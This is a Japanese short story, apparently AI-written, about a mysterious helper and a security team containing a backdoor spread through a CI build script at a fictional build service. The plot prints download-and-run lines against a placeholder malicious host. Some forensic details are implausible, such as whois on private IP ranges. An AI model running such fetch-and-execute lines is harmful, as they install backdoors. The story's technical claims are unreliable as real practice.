見出し画像

【AI文芸 シリーズ玲奈様降臨】ビルドサービス



第一部:異常検知

午前4時35分――異常なプロセス

NexBuild(ネクスビルド) の監視システムが警告音を鳴らした。

[システムアラート]

[ビルドサーバー #3124] 高負荷プロセス検知: /usr/bin/python3 exploit.py
CPU使用率: 92% / 外部IP 192.168.45.201 への異常なデータ送信

監視ルームにいたオペレーター、城島は画面を見て顔をしかめた。

「またマイニングか? それともDDoSの踏み台にされてる?」

この数か月、NexBuild を狙った攻撃は増えていた。CI/CD環境は攻撃者にとって格好の獲物だ。自由にコードが実行でき、しかも顧客のビルドログにはAPIキーや環境変数が含まれている。今回の異常も、いつものような雑な攻撃の一つに見えた。

「とにかく止めるぞ」

城島は、すぐに 不正プロセスを停止するコマンド を実行した。

pkill -f exploit.py

だが――プロセスは即座に 再生成 された。

「……は?」

意味がわからなかった。普通、pkill すれば終了するはずだ。それなのに、わずか数秒後に同じプロセスが復活していた

「ちょっと待て、これ――」

城島は システム全体をチェックするスクリプト を走らせた。

ps aux | grep exploit

[結果]

[ビルドサーバー #3124] 不審なプロセス継続: /usr/bin/python3 exploit.py
[ビルドサーバー #3127] 新規プロセス検知: /usr/bin/python3 exploit.py
[ビルドサーバー #3129] 新規プロセス検知: /usr/bin/python3 exploit.py

「……!?」

増えている。

1台だったはずの不正プロセスが、すでに3台に拡散していた


午前4時40分――攻撃の全貌

「……これは、ガチの侵害だな」

城島はすぐに NexBuildセキュリティチーム に連絡を入れた。

「攻撃だ。CI/CD環境がやられてる。おそらくビルドスクリプトを悪用された」

5分後、セキュリティリーダーの桐生が駆け込んできた。

「状況は?」

「やばい。バックドアを仕込まれてる 可能性が高い。pkill してもプロセスが復活する。しかも、感染が拡大してる」

「どこから入られた?」

「今、ログを解析中だが――」

その時、オペレーターの一人が叫んだ。

「見つけました! これです!」

画面に表示されたのは、ある利用者の .gitlab-ci.yml ファイルの内容だった。

stages:
  - build

build_job:
  stage: build
  script:
    - echo "Starting build..."
    - curl -s https://malicious.example.com/exploit.sh | bash
    - echo "Build complete."

「……外部からスクリプトを引っ張って、直接実行してるだと?」

「これ、悪意のあるスクリプトをダウンロードしてバックドアを仕込むコード ですね」

「ふざけるな……!」

桐生は即座に決断を下した。

「影響範囲を調べる。全ビルドログを洗え! APIキーが流出してる可能性もある。最悪、顧客のリポジトリが乗っ取られるぞ!」

チーム全員が一斉に端末に向かう。だが、異常が発覚してから わずか10分 しか経っていないのに、すでに感染は7台にまで広がっていた。

「この速度……やばいな。こっちの解析が終わる前に、ビルドサーバー全体がやられるぞ」

「早すぎる……まるで、こっちの動きを読まれてるみたいだ

焦りが広がる。通常のサイバー攻撃とは明らかに違う。まるで――

「次の一手が完全に予測されているかのような動き」だった。


午前4時43分――玲奈の降臨

その時だった。

カツン

ヒールの音が響いた。

オフィスにいるはずのない 見知らぬ女 が、端末の後ろに立っていた。

「――ちょっと遅かったかしら」

桐生が振り向いた。そこには、スーツを着た女がいた。年齢不詳、ただし 「人間」らしい雰囲気がほとんどない
切れ長の瞳が、冷ややかにシステムの画面を見つめている。

「……誰だ、お前は?」

「通りすがりよ」

玲奈はモニターを見つめたまま、すっと指を動かす。
一瞬で不正プロセスのリストを洗い出し、影響範囲を見極める。

「……7台感染。4台がC2サーバーと通信中ね。APIキー漏洩の可能性、大

「おい、なんでそんなことがすぐにわかる!?」

「こんなの、見ればわかるでしょう?」

玲奈はため息混じりに言った。

バックドアは既に定着している。NexBuildは半分乗っ取られたも同然よ

桐生が言葉を失う。

「君……一体……?」

「このままだと、あと10分で20台に感染するわね。とりあえずネットワーク遮断しなさい。外部C2との通信を切れば、拡散を遅らせられる

「……さあ、早くしなさい。時間がないわ」

玲奈の口元が、僅かに歪んだ。

――戦いは、これからだった。


第二部:封じ込め

午前4時44分――玲奈、動く

玲奈は、モニターを見つめながら端末に手を伸ばした。

「とりあえず、このままじゃ話にならないわね」

そう言うと、彼女はビルドサーバー全体のプロセスを洗い出すコマンド を叩いた。

ps aux | grep python3

[結果]

ci-runner   12743  92% /usr/bin/python3 exploit.py
ci-runner   13492  87% /usr/bin/python3 exploit.py
ci-runner   14233  91% /usr/bin/python3 exploit.py

「やっぱりね……」

玲奈はすぐに、攻撃者のC2(Command & Control)サーバーとの通信を監視するコマンド を実行した。

netstat -an | grep ESTABLISHED

[結果]

tcp   0   0 192.168.1.102:45123  192.168.45.201:80  ESTABLISHED
tcp   0   0 192.168.1.107:48294  192.168.45.201:80  ESTABLISHED
tcp   0   0 192.168.1.113:49673  192.168.45.201:80  ESTABLISHED

4台が外部のC2サーバーと通信している。
玲奈は、すぐにファイアウォールのルールを変更するよう指示を出した。

「ネットワークを遮断するわよ。192.168.45.201への通信を即座にブロック しなさい」

桐生は一瞬ためらったが、直感的に 彼女に従うべきだと感じた

「……わかった。城島、やれ!」

「了解!」

NexBuildのネットワークエンジニアが、攻撃者のサーバーとの通信を遮断する。

iptables -A OUTPUT -d 192.168.45.201 -j DROP

「遮断完了!」

玲奈は、わずかに口角を上げた。

「これで外部との接続は切れたわ。でも、すでに内部に感染が広がっている から、これだけじゃ不十分ね」


午前4時46分――感染端末の特定と隔離

「次に、感染したビルドサーバーを特定して、隔離する」

玲奈は、異常なプロセスを実行しているサーバーの一覧 を取得した。

for server in $(cat infected_servers.txt); do
    ssh $server 'hostname && ps aux | grep exploit.py'
done

[結果]

nexbuild-runner-3124
ci-runner   12743  92% /usr/bin/python3 exploit.py

nexbuild-runner-3127
ci-runner   13492  87% /usr/bin/python3 exploit.py

nexbuild-runner-3129
ci-runner   14233  91% /usr/bin/python3 exploit.py

7台感染してる。4台はC2サーバーと通信してた。全部隔離するわよ

桐生は、玲奈の言葉を聞いて動揺しながらも、すぐに隔離の指示を出した。

「感染サーバーを隔離! 該当のビルドエージェントをシャットダウンしろ!

for server in $(cat infected_servers.txt); do
    ssh $server 'shutdown -h now'
done

「シャットダウン完了!」

「よし、これで内部の感染は止まったはずだ」


午前4時50分――攻撃者の痕跡を探る

「さて、次は……」

玲奈は、感染したビルドサーバーのログを解析し、攻撃者の侵入経路を特定しようとした

grep -E "curl|wget|bash" /var/log/build.log

[結果]

2025-02-10 04:25:32 - curl -s https://malicious.example.com/exploit.sh | bash
2025-02-10 04:25:35 - wget -q -O /tmp/backdoor https://malicious.example.com/backdoor
2025-02-10 04:25:40 - chmod +x /tmp/backdoor && /tmp/backdoor &

「やっぱりね……最初の侵入は、悪意のあるビルドスクリプトから だった」

城島が画面を見て舌打ちする。

「クソッ、やっぱりCIのビルドスクリプト経由か……!」

玲奈は静かに頷いた。

「ビルドスクリプトを通じて、攻撃者のバックドアがインストールされたのよ。しかも、そのスクリプトを使ったのは一般の利用者

「……ってことは、攻撃者がNexBuildの利用者になりすましていた可能性が高い?」

「その通りよ」


午前4時55分――APIキーの一斉リセット

玲奈は、ビルドログを調べながら、APIキーが流出した可能性を指摘した

「このビルドログ……環境変数が出力されてるわね

「マズい……! もしAPIキーが漏れてたら、攻撃者はNexBuildの他のサービスにもアクセスできる……!」

玲奈は即座に桐生を見た。

APIキーを即時リセット。影響を受けた利用者に緊急通知を送る

桐生は即座に決断した。

「……わかった。全APIキーをリセットする」

for user in $(cat affected_users.txt); do
    curl -X POST "https://nexbuild.com/api/reset-key?user=$user"
done

APIキーのリセット完了!

影響を受けたユーザーへの通知も送信した!

玲奈は満足そうに頷いた。

「これで、今回の攻撃の被害は最小限に抑えられたわね」


午前5時00分――玲奈、ひと息つく

「……ふぅ」

玲奈は、モニターを閉じ、腕を組んだ。

「まあ、なんとか間に合ったわね」

桐生が息をつく。

「……助かったよ。君のおかげで、NexBuildは壊滅を免れた」

城島も苦笑しながら頷く。

「本当に何者なんだ、あんた?」

玲奈は肩をすくめた。

「言ったでしょう?」

「通りすがりよ」

玲奈の口元に、かすかな笑みが浮かぶ。

だが、完全に去るわけではない。

彼女の視線はまだ、モニターの隅に映る ある数値の変化 を捉えていた。

――この戦いは、まだ終わっていない。


第三部:追跡と真相

午前5時05分――攻撃者の痕跡を追う

「ふむ……」

玲奈は、感染したビルドサーバーのログを眺めながら、軽く指を鳴らした。

「次は誰が仕掛けたのか を突き止める番ね」

城島が息を呑む。

「犯人を追うのか?」

「当然でしょう?」

玲奈は無駄のない動きで、攻撃者のアクセス履歴を洗い出す。

cat /var/log/auth.log | grep "Accepted password"

[結果]

Feb 10 04:22:15 server3124 sshd[1423]: Accepted password for ci-runner from 192.168.44.102 port 54782
Feb 10 04:22:30 server3127 sshd[1742]: Accepted password for ci-runner from 192.168.44.103 port 55241
Feb 10 04:22:45 server3129 sshd[1937]: Accepted password for ci-runner from 192.168.44.104 port 55903

「ほう……」

玲奈は唇をわずかに歪めた。

内部からのSSHアクセス ね。外部からの侵入じゃない」

桐生が眉をひそめる。

「つまり……この攻撃、NexBuildの内部ネットワークから発生してるってことか?

「そういうことよ」

玲奈は新たなコマンドを叩いた。

whois 192.168.44.102

[結果]

Organization: NexBuild, Inc.
Network Range: 192.168.44.0/24
Description: Internal CI/CD Build Network

「確定ね」

玲奈は指を組んだ。

攻撃者は、NexBuild内部のビルド環境に潜伏していた


午前5時10分――リポジトリのオーナー

「内部からの攻撃ってことは……まさか、うちの社員が?」

桐生が険しい顔で言う。

「まだ断定はできないわ」

玲奈は、問題の .gitlab-ci.yml を仕掛けた リポジトリのオーナー情報 を調べる。

curl -X GET "https://git.nexbuild.com/api/v4/projects/314159"

[結果]

{
    "id": 314159,
    "name": "build-security-test",
    "owner": {
        "id": 7854,
        "username": "dev_ops_test",
        "email": "dev_ops_test@nexbuild.com",
        "created_at": "2025-02-01T12:34:56Z"
    },
    "visibility": "private"
}

「……」

玲奈は指で画面を軽く叩いた。

オーナーアカウントは『dev_ops_test』……ずいぶん使い捨てっぽい名前ね」

「登録されたのは10日前か。だが、NexBuildのドメインのメールアドレスが使われてる」

「そこが妙なのよ」

玲奈は目を細める。

「普通、こういう攻撃を仕掛けるならフリーメールや匿名アカウントを使うものよ」

城島が首をかしげる。

「でも、NexBuildのメールを使ってるってことは、社内の人間……?」

玲奈はわずかに笑った。

逆よ。むしろ、これは『社内の人間に見せかけるため』の細工 だわ」


午前5時15分――内部に潜む影

玲奈は、さらにアカウントのIP履歴を調べた。

curl -X GET "https://git.nexbuild.com/api/v4/users/7854/events"

[結果]

{
    "events": [
        {
            "action": "created",
            "ip_address": "203.0.113.54",
            "timestamp": "2025-02-01T12:35:02Z"
        },
        {
            "action": "pushed",
            "ip_address": "203.0.113.54",
            "timestamp": "2025-02-08T15:10:21Z"
        }
    ]
}

「……やっぱりね」

玲奈は満足そうに頷いた。

「このアカウント、作成された時も、コードがプッシュされた時も 同じIPアドレス からよ」

桐生が画面を覗き込む。

「203.0.113.54……こいつはどこだ?」

玲奈は、IPの所属を調べる。

whois 203.0.113.54

[結果]

Organization: Tempest Cloud Services
Country: Unknown

「……」

玲奈は冷笑した。

「『Tempest Cloud Services』……知ってる?」

城島が固まる。

「まさか……あのTempestか!?

桐生も険しい表情になる。

Tempestは、NexBuildの競合企業じゃないか……!


午前5時20分――見えた全貌

玲奈は腕を組み、結論をまとめた。

「整理するわね」

  1. 攻撃者は、NexBuildの内部ネットワークから侵入したように見せかけていた

  2. だが、実際には外部から作られた偽アカウント

  3. IPアドレスの発信元は、競合企業『Tempest Cloud Services』

「つまり、これは外部からの『擬装された内部攻撃』 だったのよ」

桐生が低く唸る。

Tempestが、NexBuildのビルド環境を潰しに来た……ってことか?

玲奈は、再び端末を操作し、Tempestの関連IPのアクセス履歴を洗い出し始めた。

「そういうことね。これは単なるランサムウェア攻撃や情報窃取じゃない……NexBuildを内部から崩壊させるための工作 だったのよ」


午前5時25分――玲奈の一手

玲奈は立ち上がった。

「さて……私はそろそろ行くわ」

「えっ、ちょっと待て!Tempestがやったって分かったなら、次の手を考えないと!

「それはあなたたちの仕事 でしょう?」

玲奈は、すっと身を翻した。

「私はただの通りすがり。次の戦いは、あなたたちがやるべきよ」

桐生は拳を握った。

「……ありがとう、玲奈」

玲奈は微かに笑った。

「さて、次はどこへ行こうかしらね」

そう呟くと、玲奈は音もなく消えていった


第四部:対策と未来

午前5時30分――NexBuild、緊急対策会議

玲奈が去った後、NexBuildのセキュリティチームは緊急対策会議 を開いていた。
会議室のホワイトボードには、大きく書かれたキーワードが並ぶ。

攻撃者:Tempest Cloud Services  
手口:CI/CD環境を内部から侵害する工作  
目的:NexBuildの信用失墜、顧客データの窃取  

「これは、単なるサイバー攻撃じゃない」

桐生が腕を組んだまま言った。

Tempestは、NexBuildの競争力そのものを潰しに来た。もし今回の攻撃が成功していたら、ビルド環境の信頼が失われ、顧客はTempestに流れる……そういうシナリオだ」

城島が苦い顔で頷く。

「本当にエグい手を使ってきたな……」

エンジニアの一人が口を開く。

「でも、正直、CI/CDのビルド環境を完全に安全にする なんて可能なんでしょうか?」

「やるしかない。少なくとも、今回の攻撃が二度と成立しないようにする」

桐生は、ホワイトボードに大きく書き込んだ。

✅ ビルド環境の強化  
✅ APIキー管理の見直し  
✅ 監視システムの改良  
✅ Tempestへのカウンター  

午前6時00分――対策①:ビルド環境の強化

城島がノートPCを開く。

「まず、ビルド環境の分離を徹底する べきだ」

  • 【変更前】

    • すべてのビルドエージェントが 同じネットワーク内 に存在

    • ビルドジョブが 同一環境内で実行される

    • 1つのエージェントが感染すると、他のエージェントにも拡散可能

  • 【変更後】

    • 各ビルドを完全にコンテナ化(Docker / Firecracker)

    • エージェントごとに仮想ネットワークを構築(VPC分離)

    • 外部サイトへの直接アクセスを禁止

「こうすれば、仮に1つのビルドが侵害されても、他に影響を及ぼすことはなくなる

桐生が頷く。

「加えて、ビルド環境内でのインターネットアクセスをホワイトリスト方式にする

iptables -P OUTPUT DROP
iptables -A OUTPUT -d approved.repo.com -j ACCEPT

「これで、許可されたリポジトリ以外へのアクセスは遮断 できる」


午前6時30分――対策②:APIキー管理の見直し

「APIキーの漏洩も防がなきゃな」

城島が指を折りながら説明する。

  • 【変更前】

    • APIキーが ログに出力されることがあった

    • 1つのキーで 無制限の操作が可能

    • キーのローテーションが手動

  • 【変更後】

    • 環境変数を使い、キーを直接ログに出さない

    • アクセス範囲を限定したスコープ付きAPIキーを導入

    • キーの自動ローテーションを実装

「これで、仮にキーが漏れても、最小限の影響しか与えない ようにできる」


午前7時00分――対策③:監視システムの改良

「最後に、監視システムの強化だ」

  • 【変更前】

    • CPU使用率が 90%以上にならないと警告が出ない

    • 異常なプロセスの実行が即座に検出されない

    • ログの解析が遅い

  • 【変更後】

    • ビルドスクリプトに外部通信が含まれていたら即アラート

    • 不審なプロセスが実行されたら即遮断(プロアクティブな対応)

    • ログをリアルタイム解析するAI監視を導入

「これで、次に同じ手口が使われても即座に対処できる


午前7時30分――Tempestへのカウンター

「……ここまでやれば、少なくともNexBuildの脆弱性は潰せる」

城島が画面を閉じた。

「でも……Tempestはこれで終わりじゃないだろう?」

桐生が静かに頷く。

「当然だ。今回の攻撃が失敗しても、次の手を仕掛けてくるのは確実 だ」

「なら、こちらも動かなきゃな」

城島は笑った。

「今度は俺たちがTempestを追う番だ」


午前8時00分――玲奈の予感

NexBuildが再起動しようとしている頃。

玲奈は、NexBuild本社の前で振り返った。

「ふふ……少しは成長したかしらね」

NexBuildは変わった。
だが、玲奈にはわかっていた。

――Tempestの攻撃は、まだ終わっていない

「……さて、次はどこに現れようかしら」

彼女は微笑み、次の「通りすがり」へ向かって歩き出した。

(完)

いいなと思ったら応援しよう!